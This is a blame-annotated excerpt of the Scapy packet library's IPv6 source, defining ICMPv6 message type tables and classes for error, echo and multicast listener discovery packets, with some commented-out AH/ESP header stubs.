1245c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1246c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################### AH Header ###################################
1248c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1249c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class _AHFieldLenField(FieldLenField):
1250c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     def getfield(self, pkt, s):
1251c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         l = getattr(pkt, self.fld)
1252c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         l = (l*8)-self.shift
1253c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         i = self.m2i(pkt, s[:l])
12540d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#         return s[l:],i
1255c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1256c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class _AHICVStrLenField(StrLenField):
1257c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     def i2len(self, pkt, x):
12580d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1259c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1260c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1261c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class IPv6ExtHdrAH(_IPv6ExtHdr):
1262c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     name = "IPv6 Extension Header - AH"
1263c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     fields_desc = [ ByteEnumField("nh", 59, ipv6nh),
1264c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     _AHFieldLenField("len", None, "icv"),
1265c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     ShortField("res", 0),
1266c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     IntField("spi", 0),
1267c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     IntField("sn", 0),
1268c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     _AHICVStrLenField("icv", None, "len", shift=2) ]
1269c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     overload_fields = {IPv6: { "nh": 51 }}
1270c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1271c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     def post_build(self, pkt, pay):
1272c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         if self.len is None:
1273c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#             pkt = pkt[0]+struct.pack("!B", 2*len(self.addresses))+pkt[2:]
1274c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         if self.segleft is None:
1275c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#             pkt = pkt[:3]+struct.pack("!B", len(self.addresses))+pkt[4:]
1276c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#         return _IPv6ExtHdr.post_build(self, pkt, pay)
1277c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1278c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1279c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############################### ESP Header ##################################
1280c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1281c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# class IPv6ExtHdrESP(_IPv6extHdr):
1282c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     name = "IPv6 Extension Header - ESP"
1283c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     fields_desc = [ IntField("spi", 0),
1284c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     IntField("sn", 0),
12850d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#                     # there is things to extract from IKE work
1286c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                     ]
1287c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     overloads_fields = {IPv6: { "nh": 50 }}
1288c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
12890d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1290c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1291c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
1292c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
1293c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                           ICMPv6* Classes                             ###
1294c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
1295c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
1296c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1297c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilicmp6typescls = {    1: "ICMPv6DestUnreach",
1298c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     2: "ICMPv6PacketTooBig",
1299c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     3: "ICMPv6TimeExceeded",
1300c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                     4: "ICMPv6ParamProblem",
1301c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   128: "ICMPv6EchoRequest",
1302c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   129: "ICMPv6EchoReply",
13030d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                   130: "ICMPv6MLQuery",
1304c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   131: "ICMPv6MLReport",
1305c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   132: "ICMPv6MLDone",
1306c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   133: "ICMPv6ND_RS",
1307c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   134: "ICMPv6ND_RA",
1308c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   135: "ICMPv6ND_NS",
1309c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   136: "ICMPv6ND_NA",
1310c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   137: "ICMPv6ND_Redirect",
1311c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #138: Do Me - RFC 2894 - Seems painful
1312c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   139: "ICMPv6NIQuery",
1313c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   140: "ICMPv6NIReply",
1314c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   141: "ICMPv6ND_INDSol",
1315c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   142: "ICMPv6ND_INDAdv",
1316c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #143: Do Me - RFC 3810
13170d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                   144: "ICMPv6HAADRequest",
131877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                   145: "ICMPv6HAADReply",
131977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                   146: "ICMPv6MPSol",
132077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                   147: "ICMPv6MPAdv",
1321c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #148: Do Me - SEND related - RFC 3971
1322c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  #149: Do Me - SEND related - RFC 3971
1323c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   151: "ICMPv6MRD_Advertisement",
1324c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   152: "ICMPv6MRD_Solicitation",
1325c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   153: "ICMPv6MRD_Termination",
132677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                   }
1327c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1328b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadonicmp6typesminhdrlen = {    1: 8,
1329b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                           2: 8,
1330b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                           3: 8,
1331b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                           4: 8,
1332b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         128: 8,
1333b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         129: 8,
1334b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         130: 24,
1335b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         131: 24,
1336b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         132: 24,
1337b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         133: 8,
1338b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         134: 16,
1339b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         135: 24,
1340b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         136: 24,
1341b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         137: 40,
1342b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         #139:
1343b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         #140
1344b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         141: 8,
1345b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         142: 8,
1346b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         144: 8,
1347b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         145: 8,
1348b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         146: 8,
1349b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         147: 8,
1350b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         151: 8,
1351b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         152: 4,
1352b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                         153: 4
1353b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon                   }
1354b48efefaba1304096cd3eb0c52cc7b01ef93fb2dGuillaume Valadon
13550d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzicmp6types = { 1 : "Destination unreachable",
13560d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz               2 : "Packet too big",
135777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil               3 : "Time exceeded",
1358c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil               4 : "Parameter problem",
1359c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             100 : "Private Experimentation",
1360c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             101 : "Private Experimentation",
1361c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             128 : "Echo Request",
1362c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             129 : "Echo Reply",
1363c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             130 : "MLD Query",
136477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             131 : "MLD Report",
136577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             132 : "MLD Done",
136677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             133 : "Router Solicitation",
136777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             134 : "Router Advertisement",
136877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             135 : "Neighbor Solicitation",
136977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             136 : "Neighbor Advertisement",
137077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             137 : "Redirect Message",
137177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             138 : "Router Renumbering",
13720d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz             139 : "ICMP Node Information Query",
13730d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz             140 : "ICMP Node Information Response",
137477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             141 : "Inverse Neighbor Discovery Solicitation Message",
137577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             142 : "Inverse Neighbor Discovery Advertisement Message",
137677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             143 : "Version 2 Multicast Listener Report",
137777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             144 : "Home Agent Address Discovery Request Message",
137877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             145 : "Home Agent Address Discovery Reply Message",
137977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             146 : "Mobile Prefix Solicitation",
138077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             147 : "Mobile Prefix Advertisement",
138177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             148 : "Certification Path Solicitation",
138277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil             149 : "Certification Path Advertisement",
1383c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             151 : "Multicast Router Advertisement",
1384c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             152 : "Multicast Router Solicitation",
1385c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             153 : "Multicast Router Termination",
1386c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             200 : "Private Experimentation",
1387c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil             201 : "Private Experimentation" }
1388c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1389c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1390c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6(Packet):
1391c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 dummy class"
1392c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    overload_fields = {IPv6: {"nh": 58}}
1393c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def post_build(self, p, pay):
139477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        p += pay
13950d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        if self.cksum == None:
139677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            chksum = in6_chksum(58, self.underlayer, p)
139777132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            p = p[:2]+struct.pack("!H", chksum)+p[4:]
139877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return p
1399c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1400c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
1401c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.payload.hashret()
1402c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1403c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
1404c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # isinstance(self.underlayer, _IPv6ExtHdr) may introduce a bug ...
140577132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        if (isinstance(self.underlayer, IPerror6) or
1406c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            isinstance(self.underlayer, _IPv6ExtHdr) and
1407c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            isinstance(other, _ICMPv6)):
140877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            if not ((self.type == other.type) and
140977132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    (self.code == other.code)):
141077132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                return 0
141177132687c31a9d3f30c3992c70eb24d1ac0948a7Phil            return 1
141277132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return 0
1413c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1414c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1415c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6Error(_ICMPv6):
1416c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 errors dummy class"
1417c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def guess_payload_class(self,p):
141877132687c31a9d3f30c3992c70eb24d1ac0948a7Phil        return IPerror6
1419c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1420c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6Unknown(_ICMPv6):
1421c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "Scapy6 ICMPv6 fallback class"
1422c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",1, icmp6types),
1423c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1424c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
14250d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    StrField("msgbody", "")]
1426c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1427c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1428c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil################################## RFC 2460 #################################
1429c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1430c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6DestUnreach(_ICMPv6Error):
1431c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Destination Unreachable"
1432c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",1, icmp6types),
1433c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("code",0, { 0: "No route to destination",
1434c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              1: "Communication with destination administratively prohibited",
1435c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              2: "Beyond scope of source address",
1436c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              3: "Address unreachable",
1437c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                              4: "Port unreachable" }),
1438c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
14392a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                    ByteField("length", 0),
14402a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                    X3BytesField("unused",0)]
1441c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1442c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6PacketTooBig(_ICMPv6Error):
1443c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Packet Too Big"
1444c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",2, icmp6types),
1445c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code",0),
1446c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1447c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("mtu",1280)]
14480d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1449c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6TimeExceeded(_ICMPv6Error):
1450c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Time Exceeded"
1451c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",3, icmp6types),
1452b77e3cb7813eb79374d688dab2e1c4382cc6c6e3Guillaume Valadon                    ByteEnumField("code",0, { 0: "hop limit exceeded in transit",
14532a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                                              1: "fragment reassembly time exceeded"}),
1454c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
14552a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                    ByteField("length", 0),
14562a8a6e94efab67482a6eb8926d1c85576500a9e4Guillaume Valadon                    X3BytesField("unused",0)]
1457c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
14580d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# The default pointer value is set to the next header field of
1459c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# the encapsulated IPv6 packet
14600d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6ParamProblem(_ICMPv6Error):
1461c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Parameter Problem"
1462c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type",4, icmp6types),
1463c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteEnumField("code",0, {0: "erroneous header field encountered",
1464c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                             1: "unrecognized Next Header type encountered",
1465c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                                             2: "unrecognized IPv6 option encountered"}),
1466c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1467c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    IntField("ptr",6)]
1468c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1469c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6EchoRequest(_ICMPv6):
1470c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Echo Request"
1471c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 128, icmp6types),
1472c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
1473c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1474c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("id",0),
1475c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("seq",0),
1476c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    StrField("data", "")]
1477c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def mysummary(self):
1478c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return self.sprintf("%name% (id: %id% seq: %seq%)")
1479c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
1480c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return struct.pack("HH",self.id,self.seq)+self.payload.hashret()
1481c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
14820d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1483c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6EchoReply(ICMPv6EchoRequest):
1484c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Echo Reply"
1485c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = 129
1486c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def answers(self, other):
14870d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        # We could match data content between request and reply.
1488c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return (isinstance(other, ICMPv6EchoRequest) and
1489c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                self.id == other.id and self.seq == other.seq and
1490c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                self.data == other.data)
1491c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1492c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1493c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil############ ICMPv6 Multicast Listener Discovery (RFC3810) ##################
1494c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1495c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# tous les messages MLD sont emis avec une adresse source lien-locale
1496c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# -> Y veiller dans le post_build si aucune n'est specifiee
1497c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# La valeur de Hop-Limit doit etre de 1
1498c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# "and an IPv6 Router Alert option in a Hop-by-Hop Options
1499c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# header. (The router alert option is necessary to cause routers to
1500c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# examine MLD messages sent to multicast addresses in which the router
15010d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# itself has no interest"
1502c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass _ICMPv6ML(_ICMPv6):
1503c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 130, icmp6types),
1504c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ByteField("code", 0),
1505c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
1506c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("mrd", 0),
1507c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortField("reserved", 0),
1508b77e3cb7813eb79374d688dab2e1c4382cc6c6e3Guillaume Valadon                    IP6Field("mladdr","::")]
1509c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
1510c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# general queries are sent to the link-scope all-nodes multicast
1511c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# address ff02::1, with a multicast address field of 0 and a MRD of
1512c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# [Query Response Interval]
1513c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Default value for mladdr is set to 0 for a General Query, and
1514c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# overloaded by the user for a Multicast Address specific query
1515c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO : See what we can do to automatically include a Router Alert
1516c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#        Option in a Destination Option Header.
1517c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MLQuery(_ICMPv6ML): # RFC 2710
1518c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MLD - Multicast Listener Query"
1519c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type   = 130
1520f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    mrd    = 10000 # 10s for mrd
1521f256891447469cb81d80c0560de3e3f4f219b048Walinton Cambronero    mladdr = "::"
15220d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    overload_fields = {IPv6: { "dst": "ff02::1", "hlim": 1, "nh": 58 }}
1523c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def hashret(self):
1524c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if self.mladdr != "::":
1525a1880b5ccfa0720d07aa77636b50af5e66f65ce9Pierre LALET            return (
1526a1880b5ccfa0720d07aa77636b50af5e66f65ce9Pierre LALET                inet_pton(socket.AF_INET6, self.mladdr) + self.payload.hashret()
1527a1880b5ccfa0720d07aa77636b50af5e66f65ce9Pierre LALET            )
1528c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
1529c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return self.payload.hashret()
15300d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
15310d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1532c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO : See what we can do to automatically include a Router Alert
1533c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#        Option in a Destination Option Header.
1534c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6MLReport(_ICMPv6ML): # RFC 2710
1535c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "MLD - Multicast Listener Report"
1536c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    type = 131
1537e1d0631a37e4326084e0fa2a9cb9f6466667d9e8Guillaume Valadon    overload_fields = {IPv6: {"hlim": 1, "nh": 58}}
1538c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    # implementer le hashret et le answers
15390d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
1540c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# When a node ceases to listen to a multicast address on an interface,
1541c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# it SHOULD send a single Done message to the link-scope all-routers
1542c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# multicast address (FF02::2), carrying in its multicast address field
1543c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# the address to which it is ceasing to listen
1544c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# TODO : See what we can do to automatically include a Router Alert
1545c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#        Option in a Destination Option Header.
